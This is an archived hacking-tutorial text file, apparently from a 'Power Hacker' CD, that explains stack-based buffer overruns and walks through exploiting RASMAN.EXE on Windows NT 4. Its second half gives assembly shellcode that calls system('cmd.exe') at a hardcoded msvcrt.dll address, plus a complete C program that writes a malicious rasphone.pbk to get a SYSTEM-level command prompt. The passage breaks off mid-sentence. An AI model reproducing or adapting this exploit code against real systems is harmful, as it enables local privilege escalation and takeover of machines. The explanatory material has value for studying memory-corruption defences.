home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / ntbufferoverruns.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  37.4 KB  |  874 lines

  1.                    Exploiting Windows NT 4 Buffer Overruns                                                                     
  2. A Case Study:       
  3.                                                                 RASMAN.EXE 
  4.  
  5.                                   Introduction  
  6.  
  7.    This document is for educational purposes only and explains what a
  8.    buffer overrun is and shows how they can be exploited on the Windows
  9.    NT 4 operating system using RASMAN.EXE as a case study. We will take a
  10.    look at Windows NT processes, virtual address space, the dynamics of a
  11.    buffer overrun and cover certain key issues such as explaining what a
  12.    stack is and what the ESP, EBP and EIP CPU registers are and do. With
  13.    these covered we'll look into the buffer overrun found in RASMAN.EXE.
  14.    This document may be freely copied and distributed only in its
  15.    entirety and if credit is given.
  16.    
  17.    Cheers, David Litchfield
  18.    
  19.   What is a buffer overrun?
  20.   
  21.    A buffer overrun is when a program allocates a block of memory of a
  22.    certain length and then tries to stuff too much data into the buffer,
  23.    with the extra overflowing and overwritting possibly critical
  24.    information crucial to the normal execution of the program. Consider
  25.    the following source:
  26.    
  27. #include <stdio.h>
  28. int main ( )
  29. {
  30.         char name[31];
  31.         printf("Please type your name: ");
  32.         gets(name);
  33.         printf("Hello, %s", name);
  34.         return 0;
  35. }
  36.  
  37.    When this source is compiled and turned into a program and the program
  38.    is run it will assign a block of memory 32 bytes long to hold the name
  39.    string. Under normal operation someone would type in their name, for
  40.    instance "David", and the program would then print to the screen
  41.    "Hello, David". David is 5 letters long, with each letter taking up a
  42.    single byte. The end of a string, though, is denoted by a thing called
  43.    a null terminator - which is basically a byte with a value of zero. So
  44.    we need to add a null terminator to the end of the string making a
  45.    total length of 6 bytes. It is clear that 6 bytes will fit into the 32
  46.    bytes set aside to store the name string. If however, instead of
  47.    entering "David", we entered
  48.    
  49.    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  50.    
  51.    that is 40 capital As, when the program reads in our input and places
  52.    it in our buffer it overflows. 40 will definitely not fit into 32.
  53.    
  54.    It so happens that if we enter 40 As we completely overwrite the
  55.    contents of a special CPU register known as the Instruction Pointer or
  56.    EIP - the E stands for Extended by the way. A quick explanation of a
  57.    register - a computer's processor has small memory storage units
  58.    called registers. Access to the values held in these registers is very
  59.    quick. These registers have special names and can hold memory
  60.    addresses and variables. The EIP is one of these registers and holds
  61.    the memory address of the next instruction to execute. What do I mean
  62.    by instruction? A program contains a list of instructions for the
  63.    processor to carry out in order for the program to do its job, much
  64.    like a recipe contains instructions for a cook to carry out in order
  65.    to make a cake. These instructions are known as operation codes or
  66.    opcodes for short. So when a program is running and the processor is
  67.    executing one of the program's instructions the EIP holds the memory
  68.    address where the next instruction to be executed can be found. After
  69.    the current instruction has been executed the processor goes to that
  70.    memory address and pulls in the instruction found there and then
  71.    increments the EIP and the executes that instruction. This process of
  72.    pulling the opcode from the memory address pointed to by the EIP, then
  73.    incrementing the EIP then executing that instruction continues until
  74.    the program exits.
  75.    
  76.    Going back to our code, the fact that we have overwritten the EIP
  77.    means that we can effectively tell the CPU to go to a memory address
  78.    of our choosing and pull down the instruction found there and execute
  79.    that. Because we are filling the buffer with As we overwrite the EIP
  80.    with 0x41414141 - 41 is the hex value for a capital A. The processor
  81.    then goes to address 0x41414141 and tries to read in the instruction
  82.    found at that address. If there's no instruction there we get a thing
  83.    known as an Access Violation. Most people will know of this as a
  84.    message popping up saying something like "The Instruction at
  85.    '0x41414141' referenced memory at '0x41414141'. The memory could not
  86.    be read." If we had filled our buffer with Bs we would overwrite the
  87.    EIP with 0x42424242 essentially telling the processor to go that that
  88.    memory address to get the next instruction and more than likely we'd
  89.    get the same Access Violation.
  90.    
  91.   Exploiting a buffer overrun.
  92.   
  93.    As you'll see later on, being able to overwrite the EIP is vital to
  94.    exploiting a buffer overrun. When you exploit a buffer overrun you
  95.    basically get the processor to execute instructions or code of your
  96.    choosing getting the program to do something it would not normally do.
  97.    You do this by pointing the EIP back into the buffer which you load
  98.    with your own opcodes which are then executed. This begs the question
  99.    , "Why would someone want to do this?"
  100.    
  101.    Windows NT, like UNIX systems, require a user to log into the system.
  102.    Some users are very powerful, such as the Administrator and others are
  103.    just your average normal user that aren't as powerful. If a normal
  104.    user wanted to become equivalent to the Administrator and thus just as
  105.    powerful with almost full control of the system they could exploit a
  106.    buffer overrun to attain this. The problem is the buffer overrun needs
  107.    to be in a process that has enough power and privileges to be able to
  108.    make them an Administrator so there is no point in buffer overruning a
  109.    process that they, the user themselves, have started. They need to
  110.    buffer overrun a process started by the system and then get the
  111.    process to execute their own arbitary code. The system account is very
  112.    powerful, and if you can get a system process to do something, such as
  113.    open a Command Prompt, then it will run with system privileges. In
  114.    Windows NT, if a process starts a new child process then the child
  115.    process normally inherits the access token of the parent process,
  116.    normally because some processes can be started using the Win32
  117.    CreateProcessAsUser ( ) function that will start the new process under
  118.    the security context of another user and thus the new process will
  119.    have a different access token than the parent process. An Access Token
  120.    is like a set of keys - they denote a user's rights and privileges
  121.    that determine what they can and cannot do to the machine. An example
  122.    of this is screen savers. The winlogon.exe system process is
  123.    responsible for starting a user's screen saver. As oppossed to runing
  124.    the screen saver in the security context of the system winlogon uses
  125.    CreateProcessAsUser ( ) to start the screen saver in the security
  126.    context of the currently logged on user. I digress - back to buffer
  127.    overruns. In this case study we'll look at the buffer overrun in
  128.    RASMAN.EXE, a system process, and get it to open a Windows NT Command
  129.    Prompt. This Command Prompt will have the access token of the system
  130.    account and so will any other processes started from it. But first a
  131.    bit more on an NT process' virtual memory layout.
  132.    
  133.    A process embodies many things such as, amongst others, a running
  134.    program, one or more threads of execution, the process' virtual
  135.    address space and the dynamic link libraries (DLLs) the program uses.
  136.    The process has 4 GB of virtual address space to use. Half of this is,
  137.    from address 0x00000000 to 0x7FFFFFFF, private address space where the
  138.    program, its DLLs and stack (or stacks in the case of a multihthreaded
  139.    program) are found and the other half, address 0x80000000 to
  140.    0xFFFFFFFF is the system address space where such things as
  141.    NTOSKRNL.EXE and the HAL are loaded. As a side note, this default
  142.    behaviour can be changed as of service pack three - you can specify a
  143.    switch in the boot.ini - /3GB - that will assign 3 GB as private
  144.    address space and 1 GB as system address space. This is to boost the
  145.    performance of programs, such as databases, the require large amounts
  146.    of memory.
  147.    
  148.    When a program is run NT creates a new process. It loads the program's
  149.    instructions and the DLLs the program uses into the private address
  150.    space and marks the pages it uses as read-only. Any attempt to modify
  151.    pages in memory marked as read only will cause an Access Violation.
  152.    The first thread is started and a stack is initialised.
  153.    
  154.   The Stack
  155.   
  156.    What's the simplest way to describe a stack? Try this: Imagine a
  157.    carpenter. He has tools, materials and instructions. To be able to
  158.    make something though they need a workbench. The stack is similar to
  159.    this workbench. It is a place where he can use his tools to shape and
  160.    model his raw materials. He can put something down on the workbench,
  161.    say waiting for the glue to dry on two bits of wood and do something
  162.    else. When that task is complete he can come back to his two bits of
  163.    wood and continue with that. The workbench is where most of the work
  164.    is done.
  165.    
  166.    So too, in a process, the stack is where most things are done. It is a
  167.    writeable area of memory that dynamically shrinks and grows as is
  168.    needed or determined by the program's execution. When a programatic
  169.    task is started it'll place data on the stack, whether these be
  170.    strings, memory addresses, integers or whatever, then manipulate them
  171.    and when the task has completed it will return the stack to its
  172.    original state so that the next task can use it if it needs to.
  173.    Working in this way the process interacts with the stack using a
  174.    method known as Last In, First Out or LIFO.
  175.    
  176.    There are two registers that are crucial to the stack's functionality
  177.    - they are used by the program to keep track of where data can be
  178.    found in memory. These two registers are the ESP and the EBP.
  179.    
  180.    The ESP, or the Stack Pointer points to the top of the stack. The ESP
  181.    contains the memory address where the top of the stack can be found.
  182.    The ESP can be changed in a number of ways both indirectly and
  183.    directly.When something is PUSHed onto the stack the ESP increases
  184.    accordingly. When something is POPed off of the stack the ESP shrinks.
  185.    The PUSH and POP operations modify the ESP indirectly. But then you
  186.    can manipulate the ESP directly, with say an instruction of "SUB
  187.    esp,04h" which pushes the stack out by four bytes or one word. For
  188.    those that haven't yet been numbed into boardem, something may just
  189.    have irked: how is it that you SUBtract 4 from the ESP and yet the ESP
  190.    is pushed out? Well this is because the stack works backwards. The
  191.    bottom of the stack uses a memory address higher than the top of the
  192.    stack:
  193.    
  194. ----------------0x12121212 Top of the stack
  195. ...
  196. ...
  197. ----------------0x121212FF Bottom of the stack
  198.  
  199.    Here we have definitive proof that the fathers of modern computing
  200.    were indeed closet sadists or had shares in makers of paracetamol -
  201.    occasionally they throw in gems like this to make that headache that
  202.    bit more acute. When we say the stack increases in size the address
  203.    held in the ESP decreases. Conversly when the stack size decreases the
  204.    address held in the ESP increases. Reaching for the Asprin yet?
  205.    
  206.    Our second stack related register is known as the EBP or the Base
  207.    Pointer. The EBP holds then memory address of the bottom of the stack
  208.    - more accurately it points to a base point in the stack that we can
  209.    use a reference point within a given programatic task. The EBP must
  210.    have meaning to a given task and to facilitate this before the task's
  211.    real business is started a setup procedure known as the "procedure
  212.    prologue" is first completed. What this does is, firstly, save the
  213.    current EBP by PUSHing it onto the stack. This is so that the
  214.    processor and program will know where to pick up from after the
  215.    currently executing task has completed. The ESP is then copied into
  216.    the EBP thus creating a new Base Pointer that the currently executing
  217.    task can use as a reference point irrespective of how the ESP changes
  218.    during the task's execution. Continuing with this let's say an 11
  219.    character string was placed onto the stack - our EBP remains the same
  220.    but the ESP has been pushed out by 12 bytes. Then say an address was
  221.    PUSHed onto the stack - our ESP is pushed out by another 4 bytes,
  222.    though our EBP still remains the same. Now let's say we needed to
  223.    reference the 11 byte string - we can do this by using our EBP: we
  224.    know the first byte of our string (the pointer to the string) is
  225.    twelve bytes away from the EBP so we can reference this string's
  226.    pointer by saying,"the address found at EBP minus 12". (Remember the
  227.    stack goes from a higher address to a lower address)
  228.    
  229.                         RASMAN and buffer overruns. 
  230.                                       
  231.   Finding the buffer overrun
  232.   
  233.    The first thing you need to do to be able to exploit a buffer overrun
  234.    is to a) know about an existing one or b) find your own one. In the
  235.    case of RASMAN, the overrun was found by looking at the RAS functions
  236.    and the structures the used. Notice that some of the functions, such
  237.    as RasGetDialParams ( ), fill structures that contain characters
  238.    arrays, much like char name[31] character array in the C code above.
  239.    By playing around with rasphone.pbk file, the RAS Phone Book, where
  240.    dialing details, such as the phone number to be dialed, are stored,
  241.    you can root out these overruns. Make a phone book entry called
  242.    "Internet", which dials into your ISP, dial it, and downloaded your
  243.    mails. This is important as this adds to the Registry an entry for the
  244.    domain name of your mail server as an Autodial location. That is, if
  245.    you try to contact your mail server, from that point on, without being
  246.    dialed into the Internet, the Connection manager would kick in and
  247.    automatically dial for you. RASMAN is the process that handles this
  248.    functionality. Once you have done this change the telephone number to
  249.    a long string of As and then attempted to connect to your mail server,
  250.    say, by opening Outlook Express. This causes RASMAN to read in from
  251.    rasphone.pbk the telephone number to dial to be able to get to your
  252.    mail server. But instead of the real telephone number the long string
  253.    of As is read instead and fills a character array in the
  254.    RAS_DIAL_PARAMS structure which overflows causing an Access Violation
  255.    - at address 0x41414141. We've found a buffer overrun and, more
  256.    exciting, overwritten the EIP.
  257.    
  258.   Finding where the EIP is overwritten
  259.   
  260.    By experimenting with the length of the "telephone number" we find
  261.    that we overwrite the EIP with bytes 296,297,298 and 299 of our
  262.    string. (You'll find that, if you are actually following this, you'll
  263.    need to reboot the system after the overflow to be able to restart the
  264.    service, and you'll have to end tasks such as AthenaWindow and
  265.    msmin.exe.) Once we have found where we overwrite the EIP it is time
  266.    to get out the debugger - the debugging capabilities of Visual C++ are
  267.    very good. Attach to the RASMAN process and then get it to dial - or
  268.    attempt to at least. Wait for the access violation.
  269.    
  270.   Analyze what's going on.
  271.   
  272.    Once the access violation has occured we need to look at the stack and
  273.    the state of the CPU's registers. From this we can see that we also
  274.    overwrite the EBP, which will come in handy later on and that the
  275.    address of the first A of our "telephone number" is 0x015DF105. By
  276.    getting RASMAN to access violate a number of times we find that the
  277.    first A is always written to this address. This is the address we're
  278.    going to set the EIP to so that the processor will look at that
  279.    address for the next instrution to execute. We'll stuff the "telephone
  280.    number" full of our own opcodes that will get RASMAN to do what we
  281.    want it to do - our arbitary code. We then need to ask, "What do we
  282.    want it to do?".
  283.    
  284.   Where do you want to go today? - What do you want to acheive?
  285.   
  286.    The best thing to do, as we need to be at the console to get this to
  287.    work, is get RASMAN to open up a Command Prompt. From here we can run
  288.    any program we want with system privileges. The easiest way to get a
  289.    program to run a Command Prompt, or any other program for that matter
  290.    is to use the system ( ) function. When the system ( ) function is
  291.    called it looks at the value of the ComSpec environment variable,
  292.    normally "c:\winnt\system32\cmd.exe" on Windows NT and executes that
  293.    with a "/C" switch. The function passes cmd.exe a command to run and
  294.    the "/C" switch tells cmd.exe to exit after the command has finished
  295.    executing. If we pass "cmd.exe" as the command - system("cmd.exe"); -
  296.    this will cause the system function to open up cmd.exe with the "/C"
  297.    switch and execute cmd.exe - so we are running two instances of the
  298.    command interpreter - however the second one won't exit until we tell
  299.    it to ( and nor will the first until the second one has exited.)
  300.    
  301.    Rather than the placing the opcodes that actually form the system ( )
  302.    function in our exploit string it would be easier to simply call it.
  303.    When you call a function you tell the program to go to a certain DLL
  304.    that contains the code for the function you are calling. The use of
  305.    DLLs means that programs can be smaller in size - rather than each
  306.    program containing the necessary code for each function used they can
  307.    call a shared DLL that does contain the code. DLLs are said to export
  308.    functions - that is the DLL provides an address where a function can
  309.    be found. The DLL also has a base address so the system knows where to
  310.    find that DLL. When a DLL is loaded into a process' address space it
  311.    will always be found at that base address and the functions it exports
  312.    can then be found at an entry point within the base. The system ( )
  313.    function is exported msvcrt.dll (the Microsoft Visual C++ Runtime
  314.    library) which has base address of 0x78000000 and system ( ) entry
  315.    point can be found at 000208C3 (in version 5.00.7303 of msvcrt.dll
  316.    anyway) meaning that the address of the system ( ) function is
  317.    0x780208C3. Hopefully msvcrt.dll will already be loaded into RASMAN's
  318.    address space - if it isn't we'll need to use LoadLibrary ( ) and
  319.    GetProcAddress ( ). Fortunately RASMAN does use msvcrt.dll and so it
  320.    is already in the process address space. This makes the job of
  321.    exploiting the buffer overrun very easy indeed - we'll simply build a
  322.    stack with our string of the command to run (cmd.exe) and and call it.
  323.    What makes it even better is that the address 0x780208C3 has no nulls
  324.    (00) in it. Nulls can really complicate issues.
  325.    
  326.    To find out what the stack needs to look like when a normal program
  327.    calls system("cmd.exe"); we need to write one that does and debug it.
  328.    We'll need to get our arbitary code to build a duplicate image of the
  329.    stack as it appears in our program just before system ( ) is called.
  330.    Below is the source of our program. Compile and link it with
  331.    kernel32.lib then run and debug it.
  332.    
  333. #include <windows.h>
  334. #include <winbase.h>
  335.  
  336. typedef void (*MYPROC)(LPTSTR);
  337. int main()
  338. {
  339.         HINSTANCE LibHandle;
  340.         MYPROC ProcAdd;
  341.  
  342.         char dllbuf[11]  = "msvcrt.dll";
  343.         char sysbuf[7] = "system";
  344.         char cmdbuf[8] = "cmd.exe";
  345.  
  346.  
  347.         LibHandle = LoadLibrary(dllbuf);
  348.  
  349.         ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
  350.  
  351.         (ProcAdd) (cmdbuf);
  352.  
  353.         return 0;
  354. }
  355.  
  356.    On debugging and examining the stack prior to calling system ( )
  357.    [(ProcAdd)(cmdbuf); in the above code] we see that starting from the
  358.    top of the stack we find the address of the "c" of cmd.exe, then the
  359.    address of where the system ( ) function can be found, the null
  360.    terminated cmd.exe string and a few other things that are too
  361.    important. So to emulate this we need the null terminated
  362.    "cmd.exe"string in the stack, then the address of the system function
  363.    and then the address which points to our "cmd.exe" string. Below is a
  364.    picture of what we need the stack to look like before calling system (
  365.    )
  366.    
  367. -------------------- ESP (Top of the Stack)
  368. XX
  369. --------------------
  370. XX
  371. --------------------
  372. XX
  373. --------------------
  374. XX
  375. --------------------
  376. C3
  377. --------------------
  378. 08
  379. --------------------
  380. 02
  381. --------------------
  382. 78
  383. --------------------
  384. 63      c
  385. --------------------
  386. 6D      m
  387. --------------------
  388. 64      d
  389. --------------------
  390. 2E      .
  391. --------------------
  392. 65      e
  393. --------------------
  394. 78      x
  395. --------------------
  396. 65      e
  397. --------------------
  398. 00
  399. -------------------- EBP (Bottom of the stack)
  400.  
  401.    where the top 4 XXs are the address of "c". We don't need to hardcode
  402.    this address into our exploit string because we can use the EBP as a
  403.    reference - remember it is the base pointer. Later on you'll see that
  404.    we load the address where the first byte of our cmd.exe string can be
  405.    found into a register using the EBP as a reference point.
  406.    
  407.   Writing the Assembly.
  408.   
  409.    This is what we need the stack to look like when we call system ( ).
  410.    How do we get it there? We have to build it ourselves with our opcodes
  411.    - we can't just put it in our exploit string because as you can see
  412.    there are nulls in it and we can't have nulls. Because we have to
  413.    build it this is where knowing at least a little assembly language
  414.    comes in handy. The first thing we need to do is set the ESP to an
  415.    address we can use for our stack. (Remember the ESP points to the top
  416.    of the stack.) To do this we use:
  417.    
  418.    mov esp, ebp
  419.    
  420.    This moves the EBP into the ESP - rember we overwrite the EBP as well
  421.    as the EIP which is really handy. We'll overwrite the EBP with an
  422.    address we know we can write to - we will use 0x015DF124. Consequently
  423.    the ESP, after we move the EBP into it, the top of the stack will be
  424.    found at 0x015DF124.
  425.    
  426.    We then want to push EBP onto the stack. This is our return address.
  427.    
  428.    push ebp
  429.    
  430.    This has the effect of pushing the ESP down 4 bytes and so ESP is now
  431.    0x015DF120. After this we then want to move the ESP into the EBP:
  432.    
  433.    mov ebp,esp
  434.    
  435.    This completes our own procedure prologue. With this done we can go
  436.    about building the stack the way we want it to look
  437.    
  438.    The next thing we need to do is get some nulls onto the stack. We need
  439.    some nulls because we need to have our cmd.exe string terminated with
  440.    a null. Even though the cmd.exe string isn't there yet it will be but
  441.    we have to do things in reverse order. Before we can push some nulls
  442.    onto the stack we need to make some. We do this by xoring a register
  443.    with itself- we'll use the EDI register.
  444.    
  445.    xor edi,edi
  446.    
  447.    This will set the EDI to 00000000 and then we push it onto the stack
  448.    using
  449.    
  450.    push edi
  451.    
  452.    This also has the added effect of pushing out our ESP to 0x015DF11C.
  453.    But "cmd.exe" is 7 bytes long and we only have room for 4 bytes so far
  454.    and don't forget we need a null tacked on the end of our string so we
  455.    need to push the ESP out another 4 bytes to give us a total of 8 bytes
  456.    of space between the ESP and the EBP. We could push the edi again, but
  457.    for varitey we'll just sub the ESP by 4.
  458.    
  459.    sub esp,04h
  460.    
  461.    Our ESP is now 0x015DF118 and our EBP is 0x015DF120. Our next job is
  462.    to get cmd.exe written to the stack. To do this we'll use the EBP as a
  463.    reference point and move 63, the hex value for a small "c" into the
  464.    address offset from the EBP minus 8.
  465.    
  466.    mov byte ptr [ebp-08h],63h
  467.    
  468.    We do the same for the "m", the "d", the ".", the first"e", the "x"
  469.    and the final "e".
  470.    
  471.    mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr
  472.    [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h
  473.    mov byte ptr [ebp-02h],65h
  474.    
  475.    Our stack now looks like this:
  476.    
  477. ----------------------------------------------------- ESP
  478. 63              c
  479. -----------------------------------------------------
  480. 6D              m
  481. -----------------------------------------------------
  482. 64              d
  483. -----------------------------------------------------
  484. 2E              .
  485. -----------------------------------------------------
  486. 65              e
  487. -----------------------------------------------------
  488. 78              x
  489. -----------------------------------------------------
  490. 65              e
  491. -----------------------------------------------------
  492. 00
  493. ----------------------------------------------------- EBP
  494.  
  495.    All that we need to do now is put the address of system( ) onto the
  496.    stack and the pointer to our cmd.exe string on top of that - once that
  497.    is done we'll call the system ( ) function.
  498.    
  499.    We know that the system( ) function is exported at address 0x780208C3
  500.    so we'll move this into a register and then push it onto the stack:
  501.    
  502.    mov eax, 0x780208C3 push eax
  503.    
  504.    We then want to put the address of the "c" of our "cmd.exe" string
  505.    onto the stack. We know that the "c" can be found eight bytes away
  506.    from our EBP so we'll load the address 8 bytes less than the EBP into
  507.    a register:
  508.    
  509.    lea eax,[ebp-08h]
  510.    
  511.    The EAX register now holds the address where our cmd.exe string
  512.    begins. We then want to push this onto the stack:
  513.    
  514.    push eax
  515.    
  516.    With this done our stack is built and we are ready to call system ( )
  517.    but we don't call it directly - again we use the indirection of using
  518.    our EBP as a reference point and call address found at EBP minus 12
  519.    (or 0C in hex):
  520.    
  521.    call dword ptr [ebp-0ch]
  522.    
  523.    Here is all our code strung together.
  524.    
  525. mov esp,ebp
  526. push ebp
  527. mov ebp,esp
  528. xor edi,edi
  529. push edi
  530. sub esp,04h
  531. mov byte ptr [ebp-08h],63h
  532. mov byte ptr [ebp-07h],6Dh
  533. mov byte ptr [ebp-06h],64h
  534. mov byte ptr [ebp-05h],2Eh
  535. mov byte ptr [ebp-04h],65h
  536. mov byte ptr [ebp-03h],78h
  537. mov byte ptr [ebp-02h],65h
  538. mov eax, 0x780208C3
  539. push eax
  540. lea eax,[ebp-08h]
  541. push eax
  542. call dword ptr [ebp-0ch]
  543.  
  544.    The next thing to do is test this assembly to see if it works so we
  545.    need to write a program that uses the __asm ( ) function. The __asm (
  546.    ) function takes Assembly language and incorporates it into a C
  547.    program. As we are calling system ( ) which is exported by msvcrt.dll
  548.    we'll need to load that- we use the LoadLibrary ( ) function to do
  549.    this - otherwise when run our code would fail:
  550.    
  551. #include <windows.h>
  552. #include <winbase.h>
  553.  
  554. void main()
  555. {
  556.  
  557.                 LoadLibrary("msvcrt.dll");
  558.  
  559.  
  560.                 __asm {
  561.  
  562.                         mov esp,ebp
  563.                         push ebp
  564.                         mov ebp,esp
  565.                         xor edi,edi
  566.                         push edi
  567.                         sub esp,04h
  568.                         mov byte ptr [ebp-08h],63h
  569.                         mov byte ptr [ebp-07h],6Dh
  570.                         mov byte ptr [ebp-06h],64h
  571.                         mov byte ptr [ebp-05h],2Eh
  572.                         mov byte ptr [ebp-04h],65h
  573.                         mov byte ptr [ebp-03h],78h
  574.                         mov byte ptr [ebp-02h],65h
  575.                         mov eax, 0x780208C3
  576.                         push eax
  577.                         lea eax,[ebp-08h]
  578.                         push eax
  579.                         call dword ptr [ebp-0ch]
  580.  
  581.                         
  582.  
  583.                                 
  584.                 }
  585. }
  586.  
  587.    compile and link with kernel32.lib. When run this should start a new
  588.    instance of the Command Interperter, cmd.exe. There will be an access
  589.    violation however when you exit that instance in the program though -
  590.    we've messed around with the stack and haven't clean up after
  591.    ourselves.
  592.    
  593.    That's it then - that's our arbritary code and all we need to do now
  594.    is put this into the rasphone.pbk file as our telephone number. Before
  595.    we can do that though, we need to get the op-codes for the above
  596.    assembly.
  597.    
  598.    This is relatively easy - just debug the program you've just compiled
  599.    and get the opcodes from there. You should get "8B E5" for "mov
  600.    esp,ebp" and "55" for "push ebp" etc etc. Once we have all the opcodes
  601.    we need to put these in our "telephone number". But we can't type the
  602.    opcodes very easily in Notepad. The easiest thing to do is write
  603.    another program that creates a rasphone.pbk file with the telephone
  604.    number loaded with our arbitary code. Below is an example of such a
  605.    program with comments:
  606.    
  607. /* This program produces a rasphone.pbk file that will cause and exploit a buff
  608. er overrun in   */
  609. /* RASMAN.EXE - it will drop the user into a Command Prompt  started by the sys
  610. tem.            */
  611. /* It operates by re-writing the EIP and pointing it back into our exploit stri
  612. ng which calls  */
  613. /* the system() function exported at address 0x780208C3 by msvcrt.dll (ver 5.00
  614. .7303) on       */
  615. /* NT Server 4 (SP3 & 4). Look at the version of msvcrt.dll and change buffer[1
  616. 09] to buffer[112]*/
  617. /* in this code to suit your version. msvcrt.dll is already loaded in memory -
  618. it is used by   */
  619. /* RASMAN.exe.  Developed by David Litchfield (mnemonix@globalnet.co.uk )
  620.                 */
  621.  
  622. #include <stdio.h>
  623. #include <windows.h>
  624.  
  625. int main (int argc, char *argv[])
  626. {
  627.         FILE *fd;
  628.         int count=0;
  629.         char buffer[1024];
  630.         
  631.         /* Make room for our stack so we are not overwriting anything we haven'
  632. t */
  633.         /* already overwritten. Fill this space with nops */
  634.         while (count < 37)
  635.                 {
  636.                         buffer[count]=0x90;
  637.                         count ++;
  638.                 }
  639.                 
  640.         /* Our code starts at buffer[37] - we point our EIP to here @ address 0
  641. x015DF126 */
  642.         /* We build our own little stack here */
  643.         /* mov esp,ebp */
  644.         buffer[37]=0x8B;
  645.         buffer[38]=0xE5;
  646.  
  647.         /*push ebp*/
  648.         buffer[39]=0x55;
  649.  
  650.         /* mov ebp,esp */
  651.         buffer[40]=0x8B;
  652.         buffer[41]=0xEC;
  653.         /* This completes our negotiation */
  654.  
  655.         /* We need some nulls */
  656.         /* xor edi,edi */
  657.         buffer[42]=0x33;
  658.         buffer[43]=0xFF;
  659.  
  660.         /* Now we begin placing stuff on our stack */
  661.         /* Ignore this NOP */
  662.         buffer[44]=0x90;
  663.         
  664.         /*push edi  */
  665.         buffer[45]=0x57;
  666.  
  667.         /* sub esp,4 */
  668.         buffer[46]=0x83;
  669.         buffer[47]=0xEC;
  670.         buffer[48]=0x04;
  671.  
  672.         /* When the system() function is called you ask it to start a program o
  673. r command */
  674.         /* eg system("dir c:\\"); would give you a directory listing of the c d
  675. rive    */
  676.         /* The system () function spawns  whatever is defined as the COMSPEC en
  677. vironment */
  678.         /* variable - usually "c:\winnt\system32\cmd.exe" in NT with a "/c" par
  679. ameter - in */
  680.         /* other words after running the command the cmd.exe process will exit.
  681.  However, running */
  682.         /* system ("cmd.exe") will cause the cmd.exe launched by the system fun
  683. ction to spawn */
  684.         /* another command prompt - one which won't go away on us. This is what
  685.  we're going to do here*/
  686.  
  687.         /* write c of cmd.exe to (EBP - 8) which happens to be the ESP */
  688.         /* mov byte ptr [ebp-08h],63h */
  689.         buffer[49]=0xC6;
  690.         buffer[50]=0x45;
  691.         buffer[51]=0xF8;
  692.         buffer[52]=0x63;
  693.  
  694.         /* write the m to (EBP-7)*/
  695.         /* mov byte ptr [ebp-07h],6Dh */
  696.         buffer[53]=0xC6;
  697.         buffer[54]=0x45;
  698.         buffer[55]=0xF9;
  699.         buffer[56]=0x6D;
  700.  
  701.         /* write the d to (EBP-6)*/
  702.         /* mov byte ptr [ebp-06h],64h */
  703.         buffer[57]=0xC6;
  704.         buffer[58]=0x45;
  705.         buffer[59]=0xFA;
  706.         buffer[60]=0x64;
  707.  
  708.         /* write the . to (EBP-5)*/
  709.         /* mov byte ptr [ebp-05h],2Eh */
  710.         buffer[61]=0xC6;
  711.         buffer[62]=0x45;
  712.         buffer[63]=0xFB;
  713.         buffer[64]=0x2E;
  714.  
  715.         /* write the first e to (EBP-4)*/
  716.         /* mov byte ptr [ebp-04h],65h */
  717.         buffer[65]=0xC6;
  718.         buffer[66]=0x45;
  719.         buffer[67]=0xFC;
  720.         buffer[68]=0x65;
  721.  
  722.         /* write the x to (EBP-3)*/
  723.         /* mov byte ptr [ebp-03h],78h */
  724.         buffer[69]=0xC6;
  725.         buffer[70]=0x45;
  726.         buffer[71]=0xFD;
  727.         buffer[72]=0x78;
  728.  
  729.  
  730.         /*write the second e to (EBP-2)*/
  731.         /* mov byte ptr [ebp-02h],65h */
  732.         buffer[73]=0xC6;
  733.         buffer[74]=0x45;
  734.         buffer[75]=0xFE;
  735.         buffer[76]=0x65;
  736.  
  737.  
  738.         /* If the version of msvcrt.dll is 5.00.7303 system is exported at 0x78
  739. 0208C3 */
  740.         /* Use QuickView to get the entry point for system() if you have a diff
  741. erent */
  742.         /* version of msvcrt.dll and change these bytes accordingly */
  743.         /* mov eax, 0x780208C3 */
  744.         buffer[77]=0xB8;
  745.         buffer[78]=0xC3;
  746.         buffer[79]=0x08;
  747.         buffer[80]=0x02;
  748.         buffer[81]=0x78;
  749.         
  750.         /* Push this onto the stack */
  751.         /* push eax */
  752.         buffer[82]=0x50;
  753.  
  754.         /* now we load the address of our pointer to the cmd.exe string into EA
  755. X */
  756.         /* lea eax,[ebp-08h]*/
  757.         buffer[83]=0x8D;
  758.         buffer[84]=0x45;
  759.         buffer[85]=0xF8;
  760.  
  761.         /* and then push it onto the stack */
  762.         /*push eax*/
  763.         buffer[86]=0x50;
  764.         
  765.         /* now we call our system () function - all going well a command prompt
  766.  will */
  767.         /* be started, the parent process being rasman.exe
  768.         */
  769.         /*call dword ptr [ebp-0Ch] */
  770.         buffer[87]=0xFF;
  771.         buffer[88]=0x55;
  772.         buffer[89]=0xF4;
  773.  
  774.         /* fill to our EBP with nops */
  775.         count = 90;
  776.         while (count < 291)
  777.                 {
  778.                         buffer[count]=0x90;
  779.                         count ++;
  780.                 }
  781.         
  782.  
  783.  
  784.         /* Re-write EBP */
  785.         buffer[291]=0x24;
  786.         buffer[292]=0xF1;
  787.         buffer[293]=0x5D;
  788.         buffer[294]=0x01;
  789.         
  790.         /* Re-write EIP */
  791.         buffer[295]=0x26;
  792.         buffer[296]=0xF1;
  793.         buffer[297]=0x5D;
  794.         buffer[298]=0x01;
  795.         buffer[299]=0x00;
  796.         buffer[300]=0x00;
  797.  
  798.         /* Print on the screen our exploit string */
  799.         printf("%s", buffer);
  800.         
  801.         /* Open and create a  file called rasphone.pbk */
  802.         fd = fopen("rasphone.pbk", "w");
  803.  
  804.         if(fd == NULL)
  805.                 {
  806.                         printf("Operation failed\n");
  807.                         return 0;
  808.                 }
  809.         
  810.         else
  811.                 {
  812.                         fprintf(fd,"[Internet]\n");
  813.                         fprintf(fd,"Phone Number=");
  814.                         fprintf(fd,"%s",buffer);
  815.                         fprintf(fd,"\n");
  816.                 }
  817. return 0;
  818. }
  819.  
  820.    When compiled and run this program will create a rasphone.pbk file
  821.    with one entry called Internet and a phone number loaded with our
  822.    arbitary code. When RASMAN.EXE opens this file and it uses
  823.    RasGetDialParams ( ) to get the relevant information and assigns it to
